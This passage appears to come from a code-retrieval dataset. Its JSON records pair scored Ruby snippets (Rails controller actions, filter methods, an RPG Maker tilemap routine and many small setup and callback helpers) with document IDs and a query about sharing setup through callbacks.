"text": "def new\n @filter = Filter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @filter }\n end\n end",
"title": ""
},
{
"docid": "d1b29dbaf19b12a7330c593ef60bc89e",
"score": "0.41791853",
"text": "def filtered_entries; end",
"title": ""
},
{
"docid": "f11a213d19ab4b9728fda12f55a78014",
"score": "0.41764018",
"text": "def create_region_display_tilemap\n # Create Region Tileset\n Cache.create_region_tileset_bitmap \n # Create Region Tilemap\n @region_tilemap = Tilemap.new(@viewport1)\n @region_tilemap.map_data = $game_map.data.dup\n @region_tilemap.flags = Table.new(8192)\n # Make Region Tilemap Invisible\n @region_tilemap.visible = false\n # Set Region Tilemap Flags (Over Character [?])\n 64.upto(128) {|n| @region_tilemap.flags[n] = 0x10} \n # Go Through Game Map Tiles\n $game_map.data.xsize.times {|x|\n $game_map.data.ysize.times {|y|\n # Clear Region Tilemap Info\n 4.times {|z| @region_tilemap.map_data[x, y, z] = 0}\n # Get Region ID\n region_id = $game_map.region_id(x, y)\n # Get Passability Flags\n flag1 = $game_map.tileset.flags[$game_map.data[x, y, 2]] \n # If Region ID is 0 or more\n if region_id > 0\n next @region_tilemap.map_data[x, y, 2] = 64 + region_id if flag1 > 16 and flag1 & 0x10 != 0\n @region_tilemap.map_data[x, y, 2] = region_id \n else \n next @region_tilemap.map_data[x, y, 2] = 64 if flag1 > 16 and flag1 & 0x10 != 0\n next @region_tilemap.map_data[x, y, 1] = 64 \n end \n }\n }\n # Set Region Tilemap Bitmap (Tile B)\n @region_tilemap.bitmaps[5] = Cache.region_tileset_bitmap\n # Update Region Tilemap\n update_region_tilemap\n end",
"title": ""
},
{
"docid": "648d330664845baef5c2b0d02a0e6d01",
"score": "0.4173073",
"text": "def filter(filter)\n tl = AlienTagList.new\n\n self.each do |ele|\n if ele.tag =~ filter\n tl.add_tag(ele)\n end\n end\n\n return tl\n end",
"title": ""
},
{
"docid": "c5e191662b0366b2f527830b7e00b1d5",
"score": "0.41676006",
"text": "def find\n set_user_and_user_areas\n @areas = Area.find_all_by_geom([[params[:min_y], params[:min_x]], \n [params[:max_y], params[:max_x]]])\n @map = Variable.new(\"map\")\n end",
"title": ""
},
{
"docid": "73b5307e330524b0cd8518401de4e08c",
"score": "0.4166515",
"text": "def initTableMapping\n $map = Array.new(2000) { Array.new(2000,\"\") }\n $final_map = Array.new(2000) { Array.new(2000,\"\") }\n $hash = Hash.new(0)\nend",
"title": ""
},
{
"docid": "97141c6fbe65d0f639f4fa97012f4c69",
"score": "0.41663566",
"text": "def addfilter( newfilter )\n if not subfilter\n @subfilter = newfilter\n else\n subfilter.addfilter( newfilter )\n end\n return self\n end",
"title": ""
},
{
"docid": "353b10735d51cb8a843348844cefc453",
"score": "0.41606185",
"text": "def filter_lower_than(input_hash, bound)\n output_hash = {}\n input_hash.each do |key, value|\n if (value < bound)\n output_hash[key] = value \n end\n end\n return output_hash\n end",
"title": ""
},
{
"docid": "78b0824b945b751b482c1115db8334d1",
"score": "0.4156751",
"text": "def fullheight\n return self.bitmap.height.to_f * self.zoom_y\n end",
"title": ""
},
{
"docid": "e863a91761cdf488ed8d9f31043516d8",
"score": "0.41564122",
"text": "def postFetchFilter\n @filtered= Filter.new(@detail.waypoints)\n\n # caches with warnings we choose not to include.\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['includeArchived']\n @appliedFilters['--includeArchived'] = { 'f' => \"\", 't' => \"also archived\" }\n else\n # this would cause too much noise, don't advertise\n #@appliedFilters['--excludeArchived'] = { 'f' => \"\", 't' => \"not archived\" }\n @filtered.removeByElement('archived')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Archived\")\n #\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['includeDisabled']\n @appliedFilters['-z'] = { 'f' => \"\", 't' => \"also disabled\" }\n else\n @appliedFilters['+z'] = { 'f' => \"\", 't' => \"not disabled\" }\n @filtered.removeByElement('disabled')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Disabled\")\n\n # exclude Premium Member Only caches on request\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['noPMO']\n @appliedFilters['-O'] = { 'f' => \"\", 't' => \"no PMO\" }\n @filtered.removeByElement('membersonly')\n end\n if @option['onlyPMO']\n @appliedFilters['-Q'] = { 'f' => \"\", 't' => \"PMO\" }\n @filtered.removeByElement('membersonly', false)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"PM-Only\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['descKeyword']\n @appliedFilters['-K'] = { 'f' => \"#{@option['descKeyword']}\", 't' => \"matching descr. keyword\" }\n @filtered.descKeyword(@option['descKeyword'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Keyword\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['difficultyMin']\n @appliedFilters['-d'] = { 'f' => \"#{@option['difficultyMin']}\", 't' => \"difficulty min\" }\n @filtered.difficultyMin(@option['difficultyMin'].to_f)\n end\n if @option['difficultyMax']\n @appliedFilters['-D'] = { 'f' => \"#{@option['difficultyMax']}\", 't' => \"difficulty max\" }\n @filtered.difficultyMax(@option['difficultyMax'].to_f)\n end\n if @option['terrainMin']\n @appliedFilters['-t'] = { 'f' => \"#{@option['terrainMin']}\", 't' => \"terrain min\" }\n @filtered.terrainMin(@option['terrainMin'].to_f)\n end\n if @option['terrainMax']\n @appliedFilters['-T'] = { 'f' => \"#{@option['terrainMax']}\", 't' => \"terrain max\" }\n @filtered.terrainMax(@option['terrainMax'].to_f)\n end\n if @option['sizeMin']\n @appliedFilters['-s'] = { 'f' => \"#{@option['sizeMin']}\", 't' => \"size min\" }\n @filtered.sizeMin(@option['sizeMin'])\n end\n if @option['sizeMax']\n @appliedFilters['-S'] = { 'f' => \"#{@option['sizeMax']}\", 't' => \"size max\" }\n @filtered.sizeMax(@option['sizeMax'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"D/T/Size\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['favFactorMin']\n @appliedFilters['-g'] = { 'f' => \"#{@option['favFactorMin']}\", 't' => \"favFactor min\" }\n @filtered.favFactorMin(@option['favFactorMin'].to_f)\n end\n if @option['favFactorMax']\n @appliedFilters['-G'] = { 'f' => \"#{@option['favFactorMax']}\", 't' => \"favFactor max\" }\n @filtered.favFactorMax(@option['favFactorMax'].to_f)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"FavFactor\")\n\n # We filter for users again. While this may be a bit obsessive, this is in case\n # our local cache is not valid.\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['userExclude']\n @appliedFilters['-E'] = { 'f' => \"#{@option['userExclude']}\", 't' => \"not done by\" }\n @option['userExclude'].split($delimiters).each{ |user|\n @filtered.userExclude(user)\n }\n end\n if @option['userInclude']\n @appliedFilters['-e'] = { 'f' => \"#{@option['userInclude']}\", 't' => \"done by\" }\n @option['userInclude'].split($delimiters).each{ |user|\n @filtered.userInclude(user)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"User\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['attributeExclude']\n @appliedFilters['-A'] = { 'f' => \"#{@option['attributeExclude']}\", 't' => \"attr no\" }\n @option['attributeExclude'].split($delimiters).each{ |attribute|\n @filtered.attributeExclude(attribute)\n }\n end\n if @option['attributeInclude']\n @appliedFilters['-a'] = { 'f' => \"#{@option['attributeExclude']}\", 't' => \"attr yes\" }\n @option['attributeInclude'].split($delimiters).each{ |attribute|\n @filtered.attributeInclude(attribute)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Attribute\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['minLongitude']\n @appliedFilters['--minLon'] = { 'f' => \"#{@option['minLongitude']}\", 't' => \"West\" }\n @filtered.longMin(@option['minLongitude'])\n end\n if @option['maxLongitude']\n @appliedFilters['--maxLon'] = { 'f' => \"#{@option['maxLongitude']}\", 't' => \"East\" }\n @filtered.longMax(@option['maxLongitude'])\n end\n if @option['minLatitude']\n @appliedFilters['--minLat'] = { 'f' => \"#{@option['minLatitude']}\", 't' => \"South\" }\n @filtered.latMin(@option['minLatitude'])\n end\n if @option['maxLatitude']\n @appliedFilters['--maxLat'] = { 'f' => \"#{@option['maxLatitude']}\", 't' => \"North\" }\n @filtered.latMax(@option['maxLatitude'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Lat/Lon\")\n\n displayMessage \"Post-fetch filter complete, #{caches(@filtered.totalWaypoints)} left.\"\n return @filtered.totalWaypoints\n end",
"title": ""
},
{
"docid": "12ba974057cd624b3dd22d630d9841ca",
"score": "0.4153238",
"text": "def show\n\t@filter = params[:filter]\n \n\t@title = @dungeon.id.to_s + \" | Dungeon\"\n @dungeon_html = cache_dungeon_html(@dungeon)\n\t@dungeon_threats = cache_dungeon_threats(@dungeon_html, @dungeon)\n\t@dungeon_restrictions = cache_dungeon_restrictions(@dungeon_html, @dungeon)\n\t\n\t@threats = Array.new\n\t\n\t@dungeon_threats.each do |key, value|\n\t\tfilter_out = Array.new\n\t\tvalue.each_with_index do |val, index|\n\t\t\t@threats.push val[\"label\"]\n\t\t\tif @filter != nil and not @filter.include? val[\"label\"] then filter_out.push(val[\"label\"]) end\n\t\tend\n\t\tvalue.delete_if { |a| filter_out.include? a[\"label\"] }\n\tend\n\t@threats.uniq!\n\t\n\n\t\n end",
"title": ""
},
{
"docid": "2f43374b6edfee32acbc22fe85c60831",
"score": "0.41500178",
"text": "def get_height\n return get_keyword_value(\"FLOOR-HEIGHT\").to_f\n end",
"title": ""
},
{
"docid": "244eb52cd3a97536f5d0d6139c111723",
"score": "0.41403583",
"text": "def set_filters\n @filters = []\n section_ids = Section.pluck(:id)\n\n [:ministers, :departments].each do |filter_type|\n if params[filter_type].present?\n id_list = params[filter_type].map(&:to_i)\n\n id_list.reject! do |item|\n !section_ids.include? item\n end\n\n @filters += Section.where(id: id_list)\n end\n end\n end",
"title": ""
},
{
"docid": "71f50d488a0d9cd8a83674cf252ad99e",
"score": "0.41400272",
"text": "def recalc_height\n line_number = 4 + product.materials.size\n self.height = fitting_height(line_number) + 3\n end",
"title": ""
},
{
"docid": "5dba3ee2368a6dc57adf3ba848c63956",
"score": "0.4139512",
"text": "def filter_locations_bu(points)\n filter_locations(points, 16.06.within(0.07), 50.41.within(0.1))\nend",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2 | Use callbacks to share common setup or constraints between actions. | [
{
"docid": "518b4fd6ab05bfdf31bf8932b6f7bb00",
"score": "0.0",
"text": "def set_user\n @user = User.find(params[:id])\n end",
"title": ""
}
] | [
{
"docid": "bd89022716e537628dd314fd23858181",
"score": "0.6164095",
"text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"title": ""
},
{
"docid": "3db61e749c16d53a52f73ba0492108e9",
"score": "0.6046031",
"text": "def action_hook; end",
"title": ""
},
{
"docid": "b8b36fc1cfde36f9053fe0ab68d70e5b",
"score": "0.5945298",
"text": "def run_actions; end",
"title": ""
},
{
"docid": "3e521dbc644eda8f6b2574409e10a4f8",
"score": "0.59179014",
"text": "def define_action_hook; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.58890367",
"text": "def actions; end",
"title": ""
},
{
"docid": "bfb8386ef5554bfa3a1c00fa4e20652f",
"score": "0.58341795",
"text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6c8e66d9523b9fed19975542132c6ee4",
"score": "0.5776118",
"text": "def add_actions; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5700777",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5700777",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "6ce8a8e8407572b4509bb78db9bf8450",
"score": "0.5656277",
"text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"title": ""
},
{
"docid": "1964d48e8493eb37800b3353d25c0e57",
"score": "0.56218207",
"text": "def define_action_helpers; end",
"title": ""
},
{
"docid": "5df9f7ffd2cb4f23dd74aada87ad1882",
"score": "0.5423995",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411516",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411516",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411516",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5395004",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53783494",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.53593004",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "0e7bdc54b0742aba847fd259af1e9f9e",
"score": "0.53412604",
"text": "def set_actions\n actions :all\n end",
"title": ""
},
{
"docid": "0464870c8688619d6c104d733d355b3b",
"score": "0.534078",
"text": "def define_action_helpers?; end",
"title": ""
},
{
"docid": "5510330550e34a3fd68b7cee18da9524",
"score": "0.5332865",
"text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"title": ""
},
{
"docid": "97c8901edfddc990da95704a065e87bc",
"score": "0.53135896",
"text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"title": ""
},
{
"docid": "4f9a284723e2531f7d19898d6a6aa20c",
"score": "0.52999926",
"text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"title": ""
},
{
"docid": "83684438c0a4d20b6ddd4560c7683115",
"score": "0.5297309",
"text": "def before_actions(*logic)\n self.before_actions = logic\n end",
"title": ""
},
{
"docid": "210e0392ceaad5fc0892f1335af7564b",
"score": "0.5296569",
"text": "def setup_handler\n end",
"title": ""
},
{
"docid": "a997ba805d12c5e7f7c4c286441fee18",
"score": "0.5261449",
"text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "1d50ec65c5bee536273da9d756a78d0d",
"score": "0.5247048",
"text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52376497",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52376497",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52376497",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52376497",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52376497",
"text": "def action; end",
"title": ""
},
{
"docid": "e34cc2a25e8f735ccb7ed8361091c83e",
"score": "0.52323204",
"text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"title": ""
},
{
"docid": "635288ac8dd59f85def0b1984cdafba0",
"score": "0.52310973",
"text": "def workflow\n end",
"title": ""
},
{
"docid": "78b21be2632f285b0d40b87a65b9df8c",
"score": "0.523081",
"text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.5225785",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "923ee705f0e7572feb2c1dd3c154b97c",
"score": "0.5219039",
"text": "def process_action(...)\n send_action(...)\n end",
"title": ""
},
{
"docid": "b89a3908eaa7712bb5706478192b624d",
"score": "0.52136266",
"text": "def before_dispatch(env); end",
"title": ""
},
{
"docid": "d89a3e408ab56bf20bfff96c63a238dc",
"score": "0.5208033",
"text": "def setup\n # override and do something appropriate\n end",
"title": ""
},
{
"docid": "7115b468ae54de462141d62fc06b4190",
"score": "0.520763",
"text": "def after_actions(*logic)\n self.after_actions = logic\n end",
"title": ""
},
{
"docid": "62c402f0ea2e892a10469bb6e077fbf2",
"score": "0.5177365",
"text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"title": ""
},
{
"docid": "72ccb38e1bbd86cef2e17d9d64211e64",
"score": "0.5175224",
"text": "def setup(_context)\n end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.5173357",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "1fd817f354d6cb0ff1886ca0a2b6cce4",
"score": "0.5166104",
"text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"title": ""
},
{
"docid": "5531df39ee7d732600af111cf1606a35",
"score": "0.5162502",
"text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"title": ""
},
{
"docid": "bb6aed740c15c11ca82f4980fe5a796a",
"score": "0.51573396",
"text": "def determine_valid_action\n\n end",
"title": ""
},
{
"docid": "199fce4d90958e1396e72d961cdcd90b",
"score": "0.5154547",
"text": "def startcompany(action)\n @done = true\n action.setup\n end",
"title": ""
},
{
"docid": "994d9fe4eb9e2fc503d45c919547a327",
"score": "0.5153531",
"text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"title": ""
},
{
"docid": "b38f9d83c26fd04e46fe2c961022ff86",
"score": "0.51502854",
"text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"title": ""
},
{
"docid": "62fabe9dfa2ec2ff729b5a619afefcf0",
"score": "0.51436496",
"text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.5142863",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "adb8115fce9b2b4cb9efc508a11e5990",
"score": "0.51330835",
"text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5115634",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5115634",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "e1dd18cf24d77434ec98d1e282420c84",
"score": "0.511527",
"text": "def setup(&block)\n define_method(:setup, &block)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5109693",
"text": "def action\n end",
"title": ""
},
{
"docid": "f54964387b0ee805dbd5ad5c9a699016",
"score": "0.51076853",
"text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"title": ""
},
{
"docid": "35b302dd857a031b95bc0072e3daa707",
"score": "0.5093146",
"text": "def config(action, *args); end",
"title": ""
},
{
"docid": "bc3cd61fa2e274f322b0b20e1a73acf8",
"score": "0.5090683",
"text": "def setup\n @setup_proc.call(self) if @setup_proc\n end",
"title": ""
},
{
"docid": "5c3cfcbb42097019c3ecd200acaf9e50",
"score": "0.50829846",
"text": "def before_action \n end",
"title": ""
},
{
"docid": "246840a409eb28800dc32d6f24cb1c5e",
"score": "0.50819314",
"text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"title": ""
},
{
"docid": "dfbcf4e73466003f1d1275cdf58a926a",
"score": "0.50670373",
"text": "def action\n end",
"title": ""
},
{
"docid": "36eb407a529f3fc2d8a54b5e7e9f3e50",
"score": "0.5055505",
"text": "def matt_custom_action_begin(label); end",
"title": ""
},
{
"docid": "b6c9787acd00c1b97aeb6e797a363364",
"score": "0.5053398",
"text": "def setup\n # override this if needed\n end",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50504035",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.50504035",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "fd421350722a26f18a7aae4f5aa1fc59",
"score": "0.5037765",
"text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"title": ""
},
{
"docid": "d02030204e482cbe2a63268b94400e71",
"score": "0.5027292",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"title": ""
},
{
"docid": "4224d3231c27bf31ffc4ed81839f8315",
"score": "0.5024484",
"text": "def after(action)\n invoke_callbacks *options_for(action).after\n end",
"title": ""
},
{
"docid": "24506e3666fd6ff7c432e2c2c778d8d1",
"score": "0.50150335",
"text": "def pre_task\n end",
"title": ""
},
{
"docid": "0c16dc5c1875787dacf8dc3c0f871c53",
"score": "0.5014069",
"text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"title": ""
},
{
"docid": "0cff1d3b3041b56ce3773d6a8d6113f2",
"score": "0.50022113",
"text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"title": ""
},
{
"docid": "c99a12c5761b742ccb9c51c0e99ca58a",
"score": "0.5001542",
"text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"title": ""
},
{
"docid": "791f958815c2b2ac16a8ca749a7a822e",
"score": "0.49981874",
"text": "def setup_signals; end",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.49915564",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.49915564",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "5aa51b20183964c6b6f46d150b0ddd79",
"score": "0.49880967",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"title": ""
},
{
"docid": "7647b99591d6d687d05b46dc027fbf23",
"score": "0.4982312",
"text": "def initialize(*args)\n super\n @action = :set\nend",
"title": ""
},
{
"docid": "67e7767ce756766f7c807b9eaa85b98a",
"score": "0.49787375",
"text": "def after_set_callback; end",
"title": ""
},
{
"docid": "2a2b0a113a73bf29d5eeeda0443796ec",
"score": "0.49786067",
"text": "def setup\n #implement in subclass;\n end",
"title": ""
},
{
"docid": "63e628f34f3ff34de8679fb7307c171c",
"score": "0.49687737",
"text": "def lookup_action; end",
"title": ""
},
{
"docid": "a5294693c12090c7b374cfa0cabbcf95",
"score": "0.49676532",
"text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"title": ""
},
{
"docid": "57dbfad5e2a0e32466bd9eb0836da323",
"score": "0.49602765",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "5b6d613e86d3d68152f7fa047d38dabb",
"score": "0.49565676",
"text": "def release_actions; end",
"title": ""
},
{
"docid": "4aceccac5b1bcf7d22c049693b05f81c",
"score": "0.49550772",
"text": "def around_hooks; end",
"title": ""
},
{
"docid": "64e0f1bb6561b13b482a3cc8c532cc37",
"score": "0.495342",
"text": "def setup(easy)\n super\n easy.customrequest = @verb\n end",
"title": ""
},
{
"docid": "2318410efffb4fe5fcb97970a8700618",
"score": "0.49522525",
"text": "def save_action; end",
"title": ""
},
{
"docid": "fbd0db2e787e754fdc383687a476d7ec",
"score": "0.49463704",
"text": "def action_target()\n \n end",
"title": ""
},
{
"docid": "b280d59db403306d7c0f575abb19a50f",
"score": "0.49447197",
"text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"title": ""
},
{
"docid": "9f7547d93941fc2fcc7608fdf0911643",
"score": "0.49362713",
"text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"title": ""
},
{
"docid": "da88436fe6470a2da723e0a1b09a0e80",
"score": "0.49328062",
"text": "def before_setup\n # do nothing by default\n end",
"title": ""
},
{
"docid": "3ba85f3cb794f951b05d5907f91bd8ad",
"score": "0.49280638",
"text": "def setup(&blk)\n @setup_block = blk\n end",
"title": ""
},
{
"docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd",
"score": "0.49272856",
"text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"title": ""
},
{
"docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3",
"score": "0.4927058",
"text": "def default_action; end",
"title": ""
},
{
"docid": "80834fa3e08bdd7312fbc13c80f89d43",
"score": "0.49221697",
"text": "def callback_phase\n super\n end",
"title": ""
},
{
"docid": "f1da8d654daa2cd41cb51abc7ee7898f",
"score": "0.4919526",
"text": "def advice\n end",
"title": ""
},
{
"docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a",
